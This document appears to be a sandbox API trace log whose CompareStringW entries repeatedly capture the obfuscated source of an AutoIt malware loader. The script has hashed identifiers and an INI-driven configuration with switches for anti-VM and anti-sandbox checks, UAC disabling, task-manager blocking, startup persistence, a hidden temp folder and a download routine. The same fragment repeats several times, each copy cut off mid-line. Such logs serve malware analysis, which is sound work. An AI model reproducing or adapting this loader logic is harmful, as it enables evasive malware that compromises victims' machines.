$8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Const $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="onst $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nst $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="st $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 